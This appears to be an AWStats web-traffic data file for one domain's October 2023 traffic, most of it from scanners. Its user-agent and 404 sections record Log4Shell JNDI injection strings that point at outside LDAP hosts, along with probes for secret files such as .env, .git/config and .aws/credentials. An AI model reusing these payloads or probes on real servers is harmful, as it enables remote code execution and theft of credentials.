File: /home/espicame/tmp/awstats/ssl/awstats102023.espica.me.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202310 will be lost/reset.
# Last config file used to build this data file was /home/espicame/tmp/awstats/ssl/awstats.espica.me.conf.
# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2010
POS_TIME 2689
POS_VISITOR 17550
POS_DAY 32125
POS_DOMAIN 3461
POS_LOGIN 3987
POS_ROBOT 4142
POS_WORMS 4551
POS_EMAILSENDER 4682
POS_EMAILRECEIVER 4825
POS_SESSION 32919
POS_SIDER 33112
POS_FILETYPES 4960
POS_DOWNLOADS 5044
POS_OS 5092
POS_BROWSER 5494
POS_SCREENSIZE 7164
POS_UNKNOWNREFERER 7238
POS_UNKNOWNREFERERBROWSER 8315
POS_ORIGIN 9089
POS_SEREFERRALS 9225
POS_PAGEREFS 9369
POS_SEARCHWORDS 9598
POS_KEYWORDS 9750
POS_MISC 2353
POS_ERRORS 9809
POS_CLUSTER 3843
POS_SIDER_404 9909
END_MAP
# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime = Date of first visit for history file
# LastTime = Date of last visit for history file
# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20231101001453 88 11438 16230069702766
FirstTime 20231001020436
LastTime 20231031235555
LastUpdate 20231101153518 88 0 87 0 0
TotalVisits 599
TotalUnique 388
MonthHostsKnown 0
MonthHostsUnknown 388
END_GENERAL
# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
AddToFavourites 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
END_MISC
# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 18 18 10591 52 64 2492
1 18 18 11214 66 70 6230
2 29 29 18067 48 55 3115
3 22 22 13706 53 65 40513
4 32 32 31479 65 72 7476
5 78 78 48594 64 87 3738
6 26 26 16198 53 68 4361
7 40 40 23674 78 102 41727
8 31 31 19313 73 78 1246
9 31 31 18690 207 224 4984
10 41 41 24920 326 347 4984
11 23 23 13706 440 453 12013
12 33 33 19936 622 644 3754
13 29 29 17444 524 543 5607
14 13 13 8099 524 532 1869
15 33 33 20559 281 302 2492
16 26 26 27739 336 343 5080
17 24 24 26496 376 381 40509
18 20 20 12460 350 355 2492
19 19 19 11214 320 327 5607
20 82 82 42364 365 378 3738
21 18 18 11214 155 164 1869
22 22 22 13706 80 85 2508
23 25 25 14952 43 49 41739
END_TIME
# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 25
us 411 411 288812
fr 81 81 41741
ru 63 63 39249
cn 54 54 33642
de 32 32 19936
ca 27 27 16821
nl 15 15 9345
be 11 11 6853
gb 8 8 3738
ua 6 6 1869
in 5 5 3115
at 2 2 1246
dk 2 2 1246
gr 2 2 1246
cl 2 2 623
no 2 2 1246
mn 2 2 1246
au 1 1 623
zz 1 1 623
id 1 1 0
fi 1 1 623
ao 1 1 623
bg 1 1 623
hk 1 1 623
jp 1 1 623
END_DOMAIN
# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER
# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN
# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 7
no_user_agent 125 71645 20231031143922 0
Go\-http\-client/ 19 11837 20231028202428 0
curl 14 8099 20231029113901 0
(firefox/)([0-9]\.|[0-1][0]\.) 9 5607 20231030050014 0
survey 7 151357 20231005192028 0
AdsBot\-Google[\x20]\( 1 623 20231007112926 0
java 1 623 20231017155038 0
END_ROBOT
# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS
# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER
# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER
# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 1
html 733 476335 0 0
END_FILETYPES
# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS
# OS ID - Hits
BEGIN_OS ID - Hits - Pages 24
linuxubuntu 11 11
macosx 53 53
Unknown 241 241
macosx13 5 5
androidmarshmallow 3 3
bsdopenbsd 2 2
androidkitkat 1 1
macosx12 6 6
ios_iphone 1 1
macosx14 2 2
win16 1 1
win10 238 238
winxp 3 3
win2000 2 2
macosx6 1 1
macintosh 1 1
win7 29 29
androidnougat 1 1
android 5 5
linux 60 60
androidics 1 1
macosx11 15 15
win8 3 3
macosx15 48 48
END_OS
# Browser ID - Hits - Pages
BEGIN_BROWSER 82
firefox79.0 2 2
firefox115.0 8 8
msie7.0 2 2
msie9.0 3 3
safari15.0 1 1
firefox65.0 2 2
chrome41.0.2228.0 15 15
chrome104.0.0.0 2 2
chrome36.0.1985.125 2 2
chrome53.0.3053.77 1 1
safari16.2 2 2
safari15.4 4 4
chrome99.0.4844.51 2 2
chrome78.0.3904.108 31 31
opera95.0.0.0 4 4
chrome74.0.3729.131 5 5
firefox118.0 5 5
chrome83.0.4103.97 2 2
safari 1 1
chrome53.0.2785.124 1 1
firefox72.0 3 3
firefox73.0 3 3
firefox108.0 9 9
chrome94.0.4606.81 3 3
chrome59.0.3071.125 1 1
lg\- 1 1
safari4.0.4 1 1
firefox78.0 24 24
chrome114.0.0.0 5 5
opera11.1010 1 1
chrome60.0.3112.90 2 2
firefox21.0 1 1
chrome55.0.2883.95 1 1
msie10.0 1 1
safari16.3 2 2
chrome83.0.4103.61 6 6
chrome98.0.4758.102 7 7
firefox109.0 8 8
chrome54.0.2840.98 5 5
chrome108.0.0.0 67 67
chrome66.0.3359.117 2 2
chrome106.0.3647.37 1 1
chrome92.0.4515.159 6 6
chrome110.0.0.0 12 12
firefox95.0 2 2
chrome60.0.3112.113 63 63
firefox104.0 3 3
chrome98.0.4758.132 1 1
chrome86.0.4230.1 1 1
chrome49.0.2623.112 8 8
mozilla 116 116
chrome96.0.4664.110 22 22
chrome102.0.0.0 16 16
firefox112.0 2 2
chrome88.0.4324.190 11 11
chrome50.0.2661.102 4 4
opera94.0.0.0 2 2
chrome103.0.5060.114 3 3
chrome89.0.291 1 1
safari13.1.2 1 1
chrome55.0.2883.87 1 1
chrome103.0.0.0 2 2
chrome52.0.8606.98 2 2
chrome63.0.3239.132 4 4
chrome58.0.601 1 1
firefox107.0 2 2
chrome76.0.3809.100 1 1
firefox110.0 27 27
chrome112.0.0.0 4 4
msie5.23 1 1
chrome57.0.3095.52 1 1
chrome109.0.0.0 8 8
opera12.16 1 1
firefox113.0 1 1
netscape5.0 36 36
chrome51.0.2704.81 1 1
Unknown 91 91
chrome79.0.3945.130 3 3
firefox47.0 11 11
chrome111.0.0.0 10 10
firefox101.0 1 1
chrome70.0.3538.77 1 1
END_BROWSER
# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE
# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 14
Mozilla/5.0 20231031015040
abuse.xmco.fr 20231020172926
Mozilla/5.0_zgrab/0.x 20231031184347
python-requests/2.25.1 20231024032536
Mozilla/5.0_(compatible;_Nmap_Scripting_Engine;_https://nmap.org/book/nse.html) 20231028203539
${jndi:ldap://196.21.83.146:1389/Exploit} 20231004184741
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20231031095850
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231031235555
'Cloud_mapping_experiment._Contact_research@pdrlabs.net' 20231029153116
python-requests/2.31.0 20231031122646
fasthttp 20231016112044
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20231031081400
HTTP_Banner_Detection_(https://security.ipip.net) 20231017030606
python-httpx/0.25.0 20231014185046
END_UNKNOWNREFERER
# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 10
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231031235555
'Cloud_mapping_experiment._Contact_research@pdrlabs.net' 20231029153116
python-requests/2.31.0 20231031122646
python-httpx/0.25.0 20231014185046
${jndi:ldap://196.21.83.146:1389/Exploit} 20231004184741
AnyConnect_Darwin_i386_3.1.05160 20231028203537
HTTP_Banner_Detection_(https://security.ipip.net) 20231017030606
python-requests/2.25.1 20231024032536
abuse.xmco.fr 20231020172926
fasthttp 20231016112044
END_UNKNOWNREFERERBROWSER
# Origin - Pages - Hits
BEGIN_ORIGIN 6
From0 723 723
From1 0 0
From2 0 0
From3 10 10
From4 0 0
From5 0 0
END_ORIGIN
# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS
# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 3
https://wenvpn.com 6 6
https://zhongguovpn.com 2 2
https://easyseo.s-nac.com 2 2
END_PAGEREFS
# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS
# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS
# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
403 4070 0
404 1375 352
END_ERRORS
# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 371
/view/viewer_index.shtml 1 -
/cgi-bin/authLogin.cgi 3 -
/sugar_version.json 3 -
/index.cgi 1 -
/home.aspx 1 -
/start.jhtml 1 -
/inicio.aspx 1 -
/backend/.env 1 -
/menu.jsa 1 -
/extrahop/ 1 -
/web/.env 1 -
/localstart.php 1 -
/docs/_sidebar.md 2 -
/ews/%20/ 2 -
/base.pl 1 -
/RDWeb 2 -
/ui 8 -
/actuator/gateway/routes 26 -
/api/id/ 1 -
/default.html 1 -
/menu.asp 1 -
/CSCOSSLC/config-auth 2 -
/CACHE/sdesktop/data.xml 1 -
/tos 2 -
/ews/autodiscovers/ 3 -
/api/.env 5 -
/admin.html 1 -
/home.cfm 1 -
/.vscode/sftp.json 3 -
/inicio.php 1 -
/s3cmd.ini 1 -
/logon/LogonPoint/index.html 1 -
/autodiscover/autodiscover.json 27 -
/.env 85 -
/application/.env 1 -
/icons/sphere1.png 3 -
/B0tv 1 -
/base.shtml 1 -
/default.cfm 1 -
/scripts/WPnBr.dll 1 -
/start.jsa 1 -
/static/admin/javascript/hetong.js 2 -
/.git/config 63 -
/main.jhtml 1 -
/evox/about 2 -
/__Additional 1 -
/login.rsp 8 -
/lc/system/console 1 -
/webui/logoutconfirm.html 6 -
/webui 8 -
/index.jhtml 1 -
/start.cgi 1 -
/dns-query 30 -
/ads.txt 1 -
/localstart.pl 1 -
/cognos_express/manager/html/ 1 -
/cgi-bin/login.cgi 8 -
/index1/ 1 -
/tomcat/host-manager/html/ 1 -
/server/TCPIPGEN.htm 1 -
/inicio.html 1 -
/xmlrpc.php 1 -
/manager/text/ 1 -
/npclient.html 8 -
/ews/ews/ 3 -
/main.aspx 1 -
/node 8 -
/video.html 8 -
/jquery-3.3.1.slim.min.js 1 -
/manager/status/ 1 -
/nation.php 1 -
/home.jhtml 1 -
/nmaplowercheck1697435501 1 -
/phpinfo 1 -
/blog/.env 1 -
/localstart.aspx 1 -
/glpi 1 -
/query 18 -
/owa/auth.owa 2 -
/menu.cgi 1 -
/index.jsa 1 -
/wp-config.php.orig 1 -
/main.cfm 1 -
/temp.php 1 -
/login/ 8 -
/nmaplowercheck1698512735 1 -
/owa/auth/errorFE.aspx 2 -
/wp-config.php 1 -
/users/sign_in 8 -
/main.shtml 1 -
/admin.cgi 1 -
/debug/default/view 2 -
/logo_t.gif 1 -
/base.jhtml 1 -
/sendgrid.env 1 -
/ui/authentication/ 1 -
/ab2h 3 -
/menu.php 1 -
/Teporary_Listen_Addresses/ 1 -
/system/console 1 -
/menu.html 1 -
/PSIA/Custom/SelfExt/userCheck 1 -
/Remote 2 -
/indice.aspx 1 -
/.DS_Store 3 -
/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php 1 -
/apps/.env 1 -
/config.json 4 -
/aab9 3 -
/dana-cached/hc/HostCheckerInstaller.osx 2 -
/new/login 1 -
/index.html 9 -
/main.pl 1 -
/api/attach 2 -
/api/library/ 1 -
/aab8 1 -
/ 57 -
/.aws/credentials 4 -
/wh/glass.php 1 -
/login.html 9 -
/pJ7k 1 -
/auth.html 2 -
/default.shtml 1 -
/indice.php 1 -
/${jndi:ldap://196.21.83.146:1389/Exploit} 2 -
/global-protect/login.esp 10 -
/menu.jsp 1 -
/2xbP 1 -
/Public/home/js/check.js 3 -
/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php 1 -
/RDWeb/Pages/ 2 -
/ReportServer 5 -
/apps 8 -
/admin.jhtml 1 -
/indice.html 1 -
/js/pan/base/cookie.js 2 -
/base.cfm 1 -
/laravel/.env 1 -
/Telerik.Web.UI.WebResource.axd 3 -
/doc/script/lib/seajs/config/sea-config.js 8 -
/jquery.js 1 -
/autodiscover/autodiscovers/ 2 -
/localstart.jsp 1 -
/Dockerrun.aws.json 1 -
/.well-known/security.txt 7 -
/home.shtml 1 -
/cacti/ 1 -
/info.php 4 -
/robots.txt 25 -
/portal/.env 1 -
/.git/credentials 2 -
/readme.txt 1 -
/docs/cplugError.html/ 1 -
/app/.env 1 -
/crm/.env 1 -
/default.cgi 1 -
/base.aspx 1 -
/start.html 1 -
/tomcat/host-manager/text/ 1 -
/cgi-bin/ 28 -
/admin/ 3 -
/axis2/ 2 -
/wp-config.php-backup 1 -
/admin/config.php 5 -
/jquery-3.3.2.slim.min.js 1 -
/viwwwsogou 1 -
/staff 2 -
/admin.jsa 1 -
/public/.env 1 -
/home.pl 1 -
/level/15/exec/-/sh/run/CR 1 -
/admin/.env 1 -
/api/session/properties 3 -
/Visu/ens/events 2 -
/server-status 5 -
/v2/_catalog 2 -
/admin.aspx 1 -
/index.asp 9 -
/base.html 1 -
/axis2-admin/ 2 -
/axis2/axis2-admin/ 3 -
/manage/account/login 8 -
/index.cfm 1 -
/home.cgi 1 -
/+CSCOE+/logon.html 12 -
/s/330313e2238313e25373e21353/_/ 2 -
/ews/exchange/ 3 -
/start.pl 1 -
/base.inc 1 -
/api/opinion/index 1 -
/jquery-3.3.1.min.js 2 -
/menu.jhtml 1 -
/start.php 1 -
/webfig/ 3 -
/base.php 1 -
/sitemap.xml 13 -
/Login.html 8 -
/nagios/ 1 -
/inicio.jhtml 1 -
/localstart.html 1 -
/${jndi:ldap://93.95.216.134:1389/Exploit} 7 -
/Temporary_Listen_Addresses 2 -
/owa/ 61 -
/CSS/Miniweb.css 1 -
/inicio.jsa 1 -
/HNAP1 3 -
/.svn/entries 1 -
/indice.pl 1 -
/base.jsp 1 -
/local/.env 1 -
/indice.cfm 1 -
/cf_scripts/scripts/ajax/ckeditor/ckeditor.js 5 -
/webconsole/webpages/login.jsp 8 -
/ajax 5 -
/solr/ 3 -
/manager/html/ 1 -
/localstart.asp 1 -
/main.jsa 1 -
/about 2 -
/manager/html 2 -
/index.jsp 2 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 16 -
/logon/LogonPoint/custom.html 1 -
/sdk 3 -
/main.asp 1 -
/indice.cgi 1 -
/localstart.cgi 1 -
/Portal/Portal.mwsl 1 -
/prod/.env 1 -
/actuator/health 9 -
/news.php 1 -
/login.cs 8 -
/start.cfm 1 -
/zabbix/ 1 -
/tomcat/manager/status/ 1 -
/showLogin.cc 11 -
/indice.jsp 1 -
/vpn/index.html 12 -
/ews/exchange%20/ 2 -
/start.asp 1 -
/inicio.asp 1 -
/autodiscover/autodiscover%20/ 2 -
/index.php 2 -
/main.cgi 1 -
/localstart.jsa 1 -
/host-manager/html/ 1 -
/admin 1 -
/localstart.shtml 1 -
/menu.cfm 1 -
/index.pl 1 -
/categories/Yud 1 -
/vendor/.env 1 -
/home.asp 1 -
/RDWeb/Pages/en-US/login.aspx 2 -
/default.pl 1 -
/default.jsp 1 -
/Electron/download/windows/%5CProgram%20Files%5C3CX%20Phone%20System%5CData%5CDB%5Cbase%5C16384%5C16393 5 -
/Gmail/UnityPlayer.txt 1 -
/admin/index.html 8 -
/zMLUH93A 1 -
/pools 1 -
/inicio.shtml 1 -
/Display/chan/IB61I7MYA 1 -
/localstart.jhtml 1 -
/.env.bak 1 -
/home.jsa 1 -
/host-manager/text/ 1 -
/start.jsp 1 -
/resolve 18 -
/admin.shtml 1 -
/menu.aspx 1 -
/8.bin 1 -
/api/v2/cmdb/system/admin/admin 1 -
/_all_dbs 2 -
/index.aspx 1 -
/ab2g 3 -
/base.jsa 1 -
/admin.asp 1 -
/dana-na/nc/nc_gina_ver.txt 2 -
/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab 2 -
/menu.pl 1 -
/static/historypage.js 3 -
/admin.cfm 1 -
/2.0/gui/ 8 -
/owa/auth/logon.aspx 20 -
/base.asp 1 -
/tomcat/manager/html/ 1 -
/api/sonicos/tfa 2 -
/api/sonicos/auth 2 -
/WebViewer.html 8 -
/Portal0000.htm 1 -
/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 4 -
/autodiscove/ 6 -
/Temporary_Listen_Addresses/ 4 -
/qd.CHM 1 -
/owa/auth/x.js 43 -
/AHT/AHT_UI/public/index.html 1 -
/main.jsp 1 -
/tmui/login.jsp 3 -
/Rk8h 1 -
/auth1.html 2 -
/cgi-bin/config.exp 3 -
/ttd.exe 1 -
/version 11 -
/vendor/laravel/.env 1 -
/NPClient.html 16 -
/menu.shtml 1 -
/RqAX 1 -
/main.php 1 -
/oauth/idp/.well-known/openid-configuration 1 -
/pools/default/buckets 1 -
/api/v1 2 -
/inicio.cgi 1 -
/indice.jhtml 1 -
/telescope/requests 4 -
/main.html 1 -
/wsman 2 -
/doc/page/login.asp 8 -
/.gitlab-ci.yml 1 -
/indice.jsa 1 -
/start.shtml 1 -
/inicio.pl 1 -
/sslvpnLogin.html 2 -
/inicio.cfm 1 -
/admin.jsp 1 -
/autodiscover/autodiscoverrs/ 2 -
/nmaplowercheck1698566940 1 -
/home.jsp 1 -
/indice.asp 1 -
/remote/login 13 -
/cluster/list.query 1 -
/_profiler/phpinfo 8 -
/favicon-32x32.png 3 -
/login 13 -
/start.aspx 1 -
/default.asp 1 -
/phpinfo.php 1 -
/login.action 2 -
/mm/ 8 -
/admin.php 1 -
/default.aspx 1 -
/portal 8 -
/inicio.jsp 1 -
/remote/fgt_lang 2 -
/tomcat/manager/text/ 1 -
/fw6I 2 -
/admin.pl 1 -
/default.jsa 1 -
/console/ 1 -
/UnityPlayer.dll 1 -
/base.cgi 1 -
/api/v1/charts 7 -
/aaa9 2 -
/geoserver/web/ 26 -
/localstart.cfm 1 -
/default.jhtml 1 -
/web/index.html 8 -
/home.html 1 -
/core/.env 7 -
/ews/exchanges/ 2 -
/home.php 1 -
/is-bin 2 -
/api/version 1 -
/sitecore/shell/sitecore.version.xml 1 -
/app/config/.env 1 -
/index.shtml 1 -
/t4 3 -
/.git/HEAD 2 -
/hrsgdsb7386wknzms.jpg 1 -
/indice.shtml 1 -
/default.php 1 -
END_SIDER_404
# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 388
37.71.240.78 63 63 30527 20231028203539
83.97.73.87 31 31 19313 20231031070214
51.254.59.114 15 15 9345 20231030203528
94.102.61.7 11 11 6853 20231029003156
34.78.249.41 8 8 4984 20231028084703
183.136.225.32 8 8 4984 20231026161207
172.105.128.12 8 8 4984 20231019043251
185.180.143.81 6 6 3738 20231031065653
172.104.11.4 6 6 3738 20231025044916
34.140.248.32 6 6 3738 20231031122646
95.216.161.91 6 6 1869 20231031103659
35.195.93.98 5 5 3115 20231021183035
199.45.155.4 5 5 3115 20231012081718
38.110.46.2 5 5 3115 20231012081626
185.180.143.7 5 5 3115 20231030070117
34.76.158.233 5 5 3115 20231030092920
185.180.143.188 5 5 3115 20231029104430
171.67.71.144 5 5 3115 20231012081859
43.248.128.82 5 5 3115 20231012081739
199.45.154.4 5 5 3115 20231012081718
104.199.31.214 5 5 3115 20231017191807
172.105.128.13 4 4 2492 20231017080653
74.82.47.2 4 4 2492 20231029074958
185.180.143.138 4 4 2492 20231029202345
185.180.143.49 4 4 2492 20231026110214
142.93.184.14 1 1 623 20231005230452
198.199.98.136 1 1 623 20231011164313
185.180.143.79 2 2 1246 20231023012517
45.79.181.179 3 3 1869 20231029080836
107.170.238.10 1 1 623 20231026023245
185.180.143.6 1 1 623 20231006232255
34.220.111.37 1 1 623 20231024032536
71.6.232.24 2 2 1246 20231024055646
111.7.96.176 1 1 623 20231014125432
71.6.134.230 3 3 1869 20231019100143
162.142.125.217 1 1 623 20231018135517
64.62.197.177 1 1 623 20231025153512
198.235.24.29 1 1 623 20231031022724
192.241.196.120 1 1 623 20231002011047
13.56.223.45 1 1 623 20231006000032
181.214.166.113 1 1 623 20231028100251
139.144.150.23 1 1 623 20231005121257
198.20.87.98 1 1 623 20231004183325
185.180.143.137 1 1 623 20231004220444
167.248.133.38 1 1 623 20231009212725
109.237.98.53 2 2 1246 20231031025802
101.36.107.138 1 1 623 20231019060646
184.73.16.112 1 1 623 20231020081529
162.216.149.175 1 1 623 20231028063753
205.210.31.26 1 1 623 20231015214838
167.94.138.50 1 1 623 20231003112842
64.62.197.9 1 1 623 20231008080104
198.235.24.111 1 1 623 20231010005308
24.199.98.5 1 1 623 20231003045430
101.36.109.42 1 1 623 20231019060639
138.197.183.130 1 1 623 20231026063613
35.203.211.64 1 1 623 20231007072506
167.248.133.123 1 1 623 20231012192713
162.216.150.164 1 1 623 20231012135539
64.62.197.3 1 1 623 20231008075339
198.199.110.67 1 1 623 20231024221526
20.89.88.34 1 1 623 20231012132555
162.216.150.43 1 1 623 20231031091526
65.49.1.51 1 1 623 20231009050112
162.142.125.216 1 1 623 20231001233545
184.105.139.67 2 2 1246 20231011125915
198.199.109.127 1 1 623 20231003105435
167.248.133.50 2 2 1246 20231026043857
34.79.162.186 1 1 623 20231016163511
130.211.54.158 4 4 2492 20231029083530
198.199.101.72 1 1 623 20231031184347
35.203.210.116 1 1 623 20231019084554
66.175.217.70 1 1 623 20231016121020
50.31.21.4 1 1 0 20231016092143
146.70.178.94 1 1 623 20231024151458
192.241.202.56 1 1 623 20231007145231
35.203.211.145 1 1 623 20231030072226
64.62.197.134 1 1 623 20231010050526
162.216.150.227 1 1 623 20231027075333
35.203.210.167 1 1 623 20231025071103
35.203.210.96 1 1 623 20231013075745
161.35.142.87 1 1 623 20231027082145
185.180.143.50 2 2 1246 20231019070842
54.219.65.81 1 1 623 20231014185046
185.142.236.41 1 1 623 20231017220603
65.49.1.46 1 1 623 20231009050920
198.199.103.72 1 1 623 20231030065828
65.49.1.59 1 1 623 20231013074125
159.223.209.54 1 1 623 20231022120507
36.106.167.86 1 1 623 20231025105425
167.94.138.52 4 4 2492 20231027163639
157.230.44.241 3 3 1246 20231008134459
152.32.247.22 1 1 623 20231020091519
117.62.218.192 2 2 1246 20231013033927
167.94.145.56 1 1 623 20231004011414
167.248.133.39 1 1 623 20231002043108
102.129.232.53 1 1 0 20231026075354
36.99.136.129 4 4 2492 20231024151450
45.33.80.243 4 4 2492 20231015060743
120.211.145.96 1 1 623 20231022234825
35.187.98.121 2 2 1246 20231019093745
185.180.143.11 4 4 2492 20231015091147
81.29.135.120 1 1 623 20231016212328
104.248.143.84 1 1 623 20231026235123
209.141.60.74 4 4 2492 20231029050257
87.236.176.66 1 1 623 20231008143543
51.91.101.22 1 1 0 20231010190857
20.79.254.126 1 1 623 20231004090403
36.32.2.38 1 1 623 20231026160616
185.180.143.48 4 4 2492 20231028051103
167.94.138.127 2 2 1246 20231015192533
64.62.197.172 1 1 623 20231025154500
192.241.231.47 1 1 623 20231008230136
167.94.146.57 1 1 623 20231019173422
137.74.246.152 1 1 623 20231020130736
18.237.69.195 1 1 623 20231001020852
64.62.197.152 1 1 623 20231021051347
220.250.11.114 1 1 623 20231020070602
47.88.94.161 1 1 623 20231004054016
172.104.11.46 4 4 2492 20231031050409
162.216.149.158 2 2 1246 20231023135626
71.6.232.20 1 1 623 20231031092705
142.93.158.211 2 2 1246 20231026014745
65.49.1.68 1 1 623 20231017103136
87.236.176.76 1 1 623 20231011184553
128.14.133.58 2 2 1246 20231017060433
18.212.223.235 1 1 623 20231015190330
162.221.192.26 1 1 623 20231010203219
198.20.69.98 1 1 623 20231025173452
65.49.1.85 1 1 623 20231015074848
45.55.69.106 1 1 623 20231020162702
51.159.214.49 1 1 623 20231031051710
71.6.232.23 2 2 1246 20231016035831
165.154.182.168 1 1 623 20231007051856
71.6.134.232 1 1 623 20231009135050
198.235.24.211 1 1 623 20231031235555
71.6.134.235 3 3 13410 20231031094417
64.62.197.162 1 1 623 20231021052114
199.45.154.50 1 1 623 20231025052849
44.204.242.7 1 1 623 20231013000719
143.198.178.106 1 1 623 20231012104536
159.89.166.64 1 1 623 20231020044953
167.94.146.60 1 1 623 20231024045828
198.235.24.100 1 1 623 20231017113422
138.68.0.228 2 2 1246 20231013161138
162.142.125.222 1 1 623 20231024164545
50.19.32.160 1 1 623 20231025013943
198.199.113.61 1 1 623 20231010060340
52.3.232.120 1 1 623 20231016182807
65.49.1.82 1 1 623 20231015074149
216.218.206.69 2 2 1246 20231007154119
213.32.39.44 1 1 623 20231021105044
47.254.74.59 1 1 623 20231008002603
164.52.0.93 4 4 2492 20231027211913
162.216.149.93 1 1 623 20231015035330
139.99.9.160 1 1 623 20231021102151
192.241.215.35 1 1 623 20231006003949
185.180.143.140 4 4 2492 20231009093322
23.251.102.74 2 2 1246 20231031051348
13.37.224.163 1 1 623 20231028101641
159.65.120.34 1 1 623 20231019235035
128.1.248.26 3 3 1869 20231024175349
